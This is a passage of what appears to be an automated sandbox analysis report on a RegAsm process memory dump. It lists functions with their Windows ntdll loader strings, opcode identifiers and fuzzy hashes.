                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: @$LdrpResValidateFilePath Enter$LdrpResValidateFilePath Exit
                                • API String ID: 0-1373925480
                                • Opcode ID: 31580eeb49e8c4a93ab3c8937da52a9161337eeaf34225c3771ee3fef391da35
                                • Instruction ID: 15f2cbb39a9912d0e477c1b68473b9dbbcbb5f95a8b646cf14cabb5b57e16262
                                • Opcode Fuzzy Hash: 31580eeb49e8c4a93ab3c8937da52a9161337eeaf34225c3771ee3fef391da35
                                • Instruction Fuzzy Hash: 7641CD75A027588FEB25DBAAD850BADB7F8EF85340F28049AD901AF791D7349901CB50
                                Function 030D4755 Relevance: 3.9, Strings: 3, Instructions: 121COMMON
                                Download Yara Rule
                                Strings
                                • minkernel\ntdll\ldrredirect.c, xrefs: 030D4899
                                • LdrpCheckRedirection, xrefs: 030D488F
                                • Import Redirection: %wZ %wZ!%s redirected to %wZ, xrefs: 030D4888
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: Import Redirection: %wZ %wZ!%s redirected to %wZ$LdrpCheckRedirection$minkernel\ntdll\ldrredirect.c
                                • API String ID: 0-3154609507
                                • Opcode ID: 530d97700bdac8e12c6e952def53e3466c5dfffd3c07e98a291aee7d96a9b30c
                                • Instruction ID: 9c9bbc54637e4585ce06d9e68240b2e3f129e85c221b7448a7692bcfee6cd9f0
                                • Opcode Fuzzy Hash: 530d97700bdac8e12c6e952def53e3466c5dfffd3c07e98a291aee7d96a9b30c
                                • Instruction Fuzzy Hash: 9F41D736A023519FCB61CF5AD940A6BBBE9EF89A90F090559EC98DB311DB30D800CB91
                                Function 030833A0 Relevance: 3.9, Strings: 3, Instructions: 111COMMON
                                Download Yara Rule
                                Strings
                                • Actx , xrefs: 030833AC
                                • SXS: %s() passed the empty activation context data, xrefs: 030C29FE
                                • RtlCreateActivationContext, xrefs: 030C29F9
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: Actx $RtlCreateActivationContext$SXS: %s() passed the empty activation context data
                                • API String ID: 0-859632880
                                • Opcode ID: 3b9fce0073fdc80af9fceed1855d677b6437d1ae9cc43167b756edebc254bee9
                                • Instruction ID: 3a4c5f2cee5b876cb980edd2e65009e6bfdee7310db1a87067516c95bfe84445
                                • Opcode Fuzzy Hash: 3b9fce0073fdc80af9fceed1855d677b6437d1ae9cc43167b756edebc254bee9
                                • Instruction Fuzzy Hash: 0431483A212345DFDF26EF58C880BAAB7E8EB85B10F1948A9ED04DF651C771E851C790
                                Function 03081607 Relevance: 3.8, Strings: 3, Instructions: 98COMMON
                                Download Yara Rule
                                Strings
                                • LdrpInitializeTls, xrefs: 030C1A47
                                • DLL "%wZ" has TLS information at %p, xrefs: 030C1A40
                                • minkernel\ntdll\ldrtls.c, xrefs: 030C1A51
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: DLL "%wZ" has TLS information at %p$LdrpInitializeTls$minkernel\ntdll\ldrtls.c
                                • API String ID: 0-931879808
                                • Opcode ID: e44f2ece9aa850bb7d063d75548d272262cdeb3d591ba86963476448835107df
                                • Instruction ID: 6b8cb79ace10caf8e0ad8d53ad8f72f4f08eb41ecd8b635ca563a07563888ca7
                                • Opcode Fuzzy Hash: e44f2ece9aa850bb7d063d75548d272262cdeb3d591ba86963476448835107df
                                • Instruction Fuzzy Hash: 97312635A12300EBD71CEF48CC85FAE72BEEF89754F040569E485BB180D770AD5587A0
                                Function 03091270 Relevance: 3.8, Strings: 3, Instructions: 97COMMON
                                Download Yara Rule
                                Strings
                                • \Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 0309127B
                                • BuildLabEx, xrefs: 0309130F
                                • @, xrefs: 030912A5
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: @$BuildLabEx$\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion
                                • API String ID: 0-3051831665
                                • Opcode ID: 4dd0507e6de23adeaafdd13239ae3a95ee5485203228978708ef77071a5cdf2e
                                • Instruction ID: ed37be56041f4b6f353a753865032ec7f7c6f1fd905acb30b826c571136e9e5b
                                • Opcode Fuzzy Hash: 4dd0507e6de23adeaafdd13239ae3a95ee5485203228978708ef77071a5cdf2e
                                • Instruction Fuzzy Hash: 9231A176A0221DBBEF15EF95CC40EDEBBBDEB84750F004426E514AB1A0D7309A05AB94
                                Function 030D20DE Relevance: 3.8, Strings: 3, Instructions: 41COMMON
                                Download Yara Rule
                                Strings
                                • LdrpInitializationFailure, xrefs: 030D20FA
                                • minkernel\ntdll\ldrinit.c, xrefs: 030D2104
                                • Process initialization failed with status 0x%08lx, xrefs: 030D20F3
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: LdrpInitializationFailure$Process initialization failed with status 0x%08lx$minkernel\ntdll\ldrinit.c
                                • API String ID: 0-2986994758
                                • Opcode ID: 5bc110f2965591b9358b09c5ff725080a1f6abfeb398765cb3a66e4341377e95
                                • Instruction ID: e1cb40b715ccf83752f3ecebe0ada04c42f871988a4dde02c15f394eecb9efaf
                                • Opcode Fuzzy Hash: 5bc110f2965591b9358b09c5ff725080a1f6abfeb398765cb3a66e4341377e95
                                • Instruction Fuzzy Hash: D4F0223C642308AFE728E70CDC02F9977ECEB85B04F140859F6406B281D2B0E950CA90
                                Function 030603E9 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 184COMMON
                                Download Yara Rule
                                APIs
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID: ___swprintf_l
                                • String ID: #%u
                                • API String ID: 48624451-232158463
                                • Opcode ID: 387c386a80acdab8a0ba1c06706ec4490a2ed3fb58c643c21608b1bcdaae0209
                                • Instruction ID: 2d9579dd8b79d3ae4d79862c0bd20bf446cb2cf872d792ca54bb752da16a4a4b
                                • Opcode Fuzzy Hash: 387c386a80acdab8a0ba1c06706ec4490a2ed3fb58c643c21608b1bcdaae0209
                                • Instruction Fuzzy Hash: A4718C75A022099FDB01DFA9D990BEEB7F8EF48744F154065E904EB251EB34EE01CBA0
                                Function 030652A0 Relevance: 3.2, Strings: 2, Instructions: 658COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: @$@
                                • API String ID: 0-149943524
                                • Opcode ID: 0b86f10a27c0cedbd6552a6ac4f9703f6d72eb064f5a35cc23854e0758979cfd
                                • Instruction ID: e630019c4d981c6e49b85b93d302420386753abd6383fa594d7724643ea5434c
                                • Opcode Fuzzy Hash: 0b86f10a27c0cedbd6552a6ac4f9703f6d72eb064f5a35cc23854e0758979cfd
                                • Instruction Fuzzy Hash: DD32AA7450A3158BCB64CF18C880B7EB7F5EF8A744F18496EF9859B2A4E735D840CB92
                                Function 0311A352 Relevance: 2.8, Strings: 2, Instructions: 348COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: `$`
                                • API String ID: 0-197956300
                                • Opcode ID: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
                                • Instruction ID: 47f634db9b4507db0dc95fd8524f8bc0d0367dbd26d9aa65da098c612bb74d94
                                • Opcode Fuzzy Hash: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
                                • Instruction Fuzzy Hash: B0C1C0322193419BDB24CF28C841BABFBE5AFC8314F088A3DF595CA290D775E565CB81
                                Function 0306F720 Relevance: 2.7, Strings: 2, Instructions: 159COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: $$$
                                • API String ID: 0-233714265
                                • Opcode ID: 04443256438b36d8d9f68d8b5be670714aff8281d7f8648eada2c538f0da073f
                                • Instruction ID: ab6510abd2cbbb387d19d84941e23d62d66f26aa3f58923efd8deabf056ae8fd
                                • Opcode Fuzzy Hash: 04443256438b36d8d9f68d8b5be670714aff8281d7f8648eada2c538f0da073f
                                • Instruction Fuzzy Hash: 0661CD75A0274ADFDB20EFA4E580BEDB7F2BF88704F0444A9D5156F289CB74A941CB90
                                Function 0305A2C3 Relevance: 2.6, Strings: 2, Instructions: 118COMMON
                                Download Yara Rule
                                Strings
                                • RtlpResUltimateFallbackInfo Exit, xrefs: 0305A309
                                • RtlpResUltimateFallbackInfo Enter, xrefs: 0305A2FB
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: RtlpResUltimateFallbackInfo Enter$RtlpResUltimateFallbackInfo Exit
                                • API String ID: 0-2876891731
                                • Opcode ID: 66b1c5e6a617cace69734d4699c01a7a7ee40e4a3e63cab17ba939110a144b41
                                • Instruction ID: 5ba782cefe6f4497f63f04c4602c66d28a502e26e23f724989e3f78bd55b1e74
                                • Opcode Fuzzy Hash: 66b1c5e6a617cace69734d4699c01a7a7ee40e4a3e63cab17ba939110a144b41
                                • Instruction Fuzzy Hash: D141BC35B02645DBCB12CF59C840BAEB7F8EF95304F1849A5FC00DB2A1E635DA40CB44
                                Function 0308329E Relevance: 2.6, Strings: 2, Instructions: 93COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: .Local\$@
                                • API String ID: 0-380025441
                                • Opcode ID: 177d626cdec0d1104a77e6d20716eb831a3ec7dd191d7faeb087eaf67437376c
                                • Instruction ID: 4d20372c2f74d6f5421fb220ee68364b7c3ff3fac3851d4c510380e678309a1f
                                • Opcode Fuzzy Hash: 177d626cdec0d1104a77e6d20716eb831a3ec7dd191d7faeb087eaf67437376c
                                • Instruction Fuzzy Hash: D831A47D50A304AFD750EF28C480A9FBBE8EBC5A54F48096EF9D587210DA31DD04CB96
                                Function 0305C7C0 Relevance: 2.2, Strings: 1, Instructions: 960COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: MUI
                                • API String ID: 0-1339004836
                                • Opcode ID: 76b75a04fa38a85460318724908040d5195d712c138c07411cd6ab0d5cc6acd3
                                • Instruction ID: 90e7efe84e87c34fd914402e22a9cf7b93db45a02400816a7a95338030e5d13a
                                • Opcode Fuzzy Hash: 76b75a04fa38a85460318724908040d5195d712c138c07411cd6ab0d5cc6acd3
                                • Instruction Fuzzy Hash: 3C823C75E023199BEB64CFA9C8847EEF7B5BF48710F18816AE859AB250D7309D81CF50
                                Function 03057370 Relevance: 1.7, APIs: 1, Instructions: 247COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: f3aacdb298202b3ecdf1cae0aa07851d292e9401df3c7c45e8561f95424011d2
                                • Instruction ID: b6a11b3200e31af9bb1a21a5348e3ddcd89c800f7f8fd6b59e0c50d61aa90067
                                • Opcode Fuzzy Hash: f3aacdb298202b3ecdf1cae0aa07851d292e9401df3c7c45e8561f95424011d2
                                • Instruction Fuzzy Hash: 39A17AB560A341CFC724DF28C480A6BBBE9BF88704F14496EF9858B351E770E945CB92
                                Function 0308F603 Relevance: 1.6, APIs: 1, Instructions: 121COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 92732fe3ea9219992320d12e46a2642ea595a3c8315376ee465c814ce2bce28e
                                • Instruction ID: 1b6d0029b7ebb2781645a1c672b64640ee24ec7b24f56e9331ca9b7c226c1f07
                                • Opcode Fuzzy Hash: 92732fe3ea9219992320d12e46a2642ea595a3c8315376ee465c814ce2bce28e
                                • Instruction Fuzzy Hash: C2416CB8902249AFDB14EFA9D480AADFBF4FB48314F14462ED494A7211C7309951CF60
                                Function 0308A660 Relevance: 1.4, Strings: 1, Instructions: 200COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: GlobalTags
                                • API String ID: 0-1106856819
                                • Opcode ID: c27d83a9cfe46c85290ff518c90b480c35bb46d59da8afed6ff83f5452f22499
                                • Instruction ID: ac145c314a7f081d01aadc757a207e98c093482f9526da1e49224f3f3e23d243
                                • Opcode Fuzzy Hash: c27d83a9cfe46c85290ff518c90b480c35bb46d59da8afed6ff83f5452f22499
                                • Instruction Fuzzy Hash: 9F717E75E1224ADFDF68DF98C5906EEBBF1BF88700F18866EE405AB244D7368845CB50
                                Function 0305973A Relevance: 1.4, Strings: 1, Instructions: 191COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: @
                                • API String ID: 0-2766056989
                                • Opcode ID: 32fdc9af89b0788a3bba97dbd317d7b10cd0208f20562fc1281393ba3f626ce3
                                • Instruction ID: dfd4db45d8e8f0aee615f1094bfd444352eee407b79a36f6b32f42fc5182ef6f
                                • Opcode Fuzzy Hash: 32fdc9af89b0788a3bba97dbd317d7b10cd0208f20562fc1281393ba3f626ce3
                                • Instruction Fuzzy Hash: 1B612A75D02219EBDF21DF95C844BEEBBF8EF84710F14496AE810AB290D7759A01DBA0
                                Function 030DF7AF Relevance: 1.4, Strings: 1, Instructions: 161COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: @
                                • API String ID: 0-2766056989
                                • Opcode ID: 8281e956446473216ed512d18dfae26456dfb93296f0f4edbd2d8efa18977056
                                • Instruction ID: 1887b83f2e5d659d99fdc7f90b022242329d61e7056bb0fae109770a3db04bd0
                                • Opcode Fuzzy Hash: 8281e956446473216ed512d18dfae26456dfb93296f0f4edbd2d8efa18977056
                                • Instruction Fuzzy Hash: 4951AD72506306AFE721DF54C840FABF7E8FB84750F044929B9829B290D771ED14CB96
                                Function 0306E627 Relevance: 1.4, Strings: 1, Instructions: 148COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: EXT-
                                • API String ID: 0-1948896318
                                • Opcode ID: 037a7bbfd10d65507599470b6dbfb4ea2720f59e0d2508909e652fcf996763fa
                                • Instruction ID: c6f6ec3e2440585ac03f32dc99770cb991eb4cfd29857313ada8c31c85d80fff
                                • Opcode Fuzzy Hash: 037a7bbfd10d65507599470b6dbfb4ea2720f59e0d2508909e652fcf996763fa
                                • Instruction Fuzzy Hash: E141B17A51A3119BD710DA74CA44BAFB7E8AFC8714F040A3DF984DB184E774DA04C796
                                Function 0310B256 Relevance: 1.4, Strings: 1, Instructions: 130COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: PreferredUILanguages
                                • API String ID: 0-1884656846
                                • Opcode ID: 59271220d9f8b25ef8598c74911db77d90a0186c920991f0fa124fa72f69092b
                                • Instruction ID: 0441df19d9c0b9ee342f2c8eeda859036dcc23efeb6857311f79c0c084b68e23
                                • Opcode Fuzzy Hash: 59271220d9f8b25ef8598c74911db77d90a0186c920991f0fa124fa72f69092b
                                • Instruction Fuzzy Hash: 7E41D176D04219ABCF15DAA5C840BEEB3B9EF88710F258166E901EF290D7F0DE40C7A0
                                Function 030CC730 Relevance: 1.4, Strings: 1, Instructions: 129COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: BinaryHash
                                • API String ID: 0-2202222882
                                • Opcode ID: ab9dbad3568c84a38867f245dbb456fcb35284753cd89e6e470742a12fd8bb34
                                • Instruction ID: febd7fa1a463c21259610c72e5b18d3d42de3a4fff3cf896a3353406e8cb2790
                                • Opcode Fuzzy Hash: ab9dbad3568c84a38867f245dbb456fcb35284753cd89e6e470742a12fd8bb34
                                • Instruction Fuzzy Hash: 634166B5D1226CAFEF21DB50CC84FDEB77CAB45714F0045E9A618AB140DB709E498FA4
                                Function 030D97A9 Relevance: 1.4, Strings: 1, Instructions: 121COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: verifier.dll
                                • API String ID: 0-3265496382
                                • Opcode ID: 39786921ae592d231225f6dbfae5b3de7052d5faa40c4926163bdfaeec38880d
                                • Instruction ID: 0edcd523920e6361f45a7faed8da8be15202d4910421ea0fac972037bfe6bc21
                                • Opcode Fuzzy Hash: 39786921ae592d231225f6dbfae5b3de7052d5faa40c4926163bdfaeec38880d
                                • Instruction Fuzzy Hash: 79319275B01301AFDB64DF699850B6AB7E6EB8EB14F58847AE505DF281E7318C80C7A0
                                Function 030F705E Relevance: 1.4, Strings: 1, Instructions: 112COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: kLsE
                                • API String ID: 0-3058123920
                                • Opcode ID: b1a12da00dff00e9ae9d6b94862ec5c5f116e4fbba54e2ab3bba29469ddeae9e
                                • Instruction ID: 81bdec4b47c25652987f7f71b895a0b108d7ce33fa71d39d23d6a369b25e9b54
                                • Opcode Fuzzy Hash: b1a12da00dff00e9ae9d6b94862ec5c5f116e4fbba54e2ab3bba29469ddeae9e
                                • Instruction Fuzzy Hash: 24419C395033514FE725FB68E844BA67BD4BB49BA8F18022CEE544E1C5CBB484C5C7B2
                                Function 03049730 Relevance: 1.3, Strings: 1, Instructions: 96COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: L4_wL4_w
                                • API String ID: 0-4042522810
                                • Opcode ID: 0bb57fdce1de8abb1d046f4c724b092a361de8a72312d63c2425b36097e6cf83
                                • Instruction ID: 299cf291f8d1ca65f34a06b1d2141a5df8a9f53b8b3f036fe625def451c372d2
                                • Opcode Fuzzy Hash: 0bb57fdce1de8abb1d046f4c724b092a361de8a72312d63c2425b36097e6cf83
                                • Instruction Fuzzy Hash: 8721D0BAA02714AFD722DF588900B5BBBB4FF88B54F150879A6659B750D730E900CB90
                                Function 03055096 Relevance: 1.3, Strings: 1, Instructions: 71COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: Actx
                                • API String ID: 0-89312691
                                • Opcode ID: 23663eab35697a804dacbd996227f96b08a9b8278bef4041031193f578b4d83d
                                • Instruction ID: d44cdc3f97087bb70605ed02163c6ccf35843f89b8698837b378c8cfa5f363ea
                                • Opcode Fuzzy Hash: 23663eab35697a804dacbd996227f96b08a9b8278bef4041031193f578b4d83d
                                • Instruction Fuzzy Hash: 351181327476028BDB64C91D8C5167BB6E9EB87224F38992AFC53CB390D671D8418384
                                Function 030D106E Relevance: 1.3, Strings: 1, Instructions: 62COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: LdrCreateEnclave
                                • API String ID: 0-3262589265
                                • Opcode ID: 5c269da59b3218107c0fb9c0586f8e25c4c0108da9af355cbced81fa312e2a42
                                • Instruction ID: ad1ed56cffe3300d80b03862633ae727d5bead2ef2bb2a6186200b89306f8854
                                • Opcode Fuzzy Hash: 5c269da59b3218107c0fb9c0586f8e25c4c0108da9af355cbced81fa312e2a42
                                • Instruction Fuzzy Hash: 142113B56093449FC354DF6AD844A9BFBE8FBD5B00F004A1EF9A09B250EBB0D505CB92
                                Function 030A739A Relevance: .7, Instructions: 705COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 797ee2ea9704b4d13744eda2ef2e8d7cede527796ae22215de2b393b5a58b2e3
                                • Instruction ID: 07e89ddb2107a7b5b7c39e3a98589438d7978fb129bf1d8fae11933aa1272b4b
                                • Opcode Fuzzy Hash: 797ee2ea9704b4d13744eda2ef2e8d7cede527796ae22215de2b393b5a58b2e3
                                • Instruction Fuzzy Hash: 7F429D75A02A169FDB18CFDDD4806AEF7F6FF88B14B188569D452AB340D734E842CB90
                                Function 0307B2C0 Relevance: .6, Instructions: 629COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: a4a6b93cc4571c6210e3e7a0a4fa368f2abf249474b93a2252515e196290198e
                                • Instruction ID: 83758007ad3515b44b6ab1b183cb7d5ea7f6041eaff52ca9b29d32a9db68e743
                                • Opcode Fuzzy Hash: a4a6b93cc4571c6210e3e7a0a4fa368f2abf249474b93a2252515e196290198e
                                • Instruction Fuzzy Hash: 5232AD75E02219DBCF24DFA8D880BEEBBB5FF84714F184029E805AB391E7359951CB94
                                Function 030FA118 Relevance: .6, Instructions: 591COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: d15ec988a7726b586c5bc34b5369bad914d6f02f4d18eabfcaab773588648d3c
                                • Instruction ID: 683881ad1169b8c545f85641fe05882fb4031651d21e4810fd94dc00837ddd6c
                                • Opcode Fuzzy Hash: d15ec988a7726b586c5bc34b5369bad914d6f02f4d18eabfcaab773588648d3c
                                • Instruction Fuzzy Hash: AF22BE747067518FDB64CF29C490776B7F1AF44300F08889AEA8A8FA86D735E492CF60
                                Function 031116CC Relevance: .6, Instructions: 571COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: c0be5ba673b7d4248329b8abeffd885efc3ac535b1f966e9bb0f9b0bb9b88d73
                                • Instruction ID: a5a5e9d08a88974cef3d257f562b3c5ab616f6a1b9e4663114883b2e39ebeab4
                                • Opcode Fuzzy Hash: c0be5ba673b7d4248329b8abeffd885efc3ac535b1f966e9bb0f9b0bb9b88d73
                                • Instruction Fuzzy Hash: 2A22B235A002169FCB19CF58C490AEEF7B6BF8C314B1885BDDA559B344EB30E952CB90
                                Function 03048397 Relevance: .4, Instructions: 380COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: a292bf833487b9ac045f6de90c901a6320b1acd61ea4d30c7706bc7f4ba704a0
                                • Instruction ID: ab0b7a6551e66032959973791126ebbe97ed74f05f5f08291d7d44b5f1aea6a9
                                • Opcode Fuzzy Hash: a292bf833487b9ac045f6de90c901a6320b1acd61ea4d30c7706bc7f4ba704a0
                                • Instruction Fuzzy Hash: DBD1D2B5A027169BDF14DF68D890ABFB3E5BF84204F098A3DE915DB280E735DA44CB50
                                Function 0305D7E0 Relevance: .3, Instructions: 342COMMONLIBRARYCODE
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
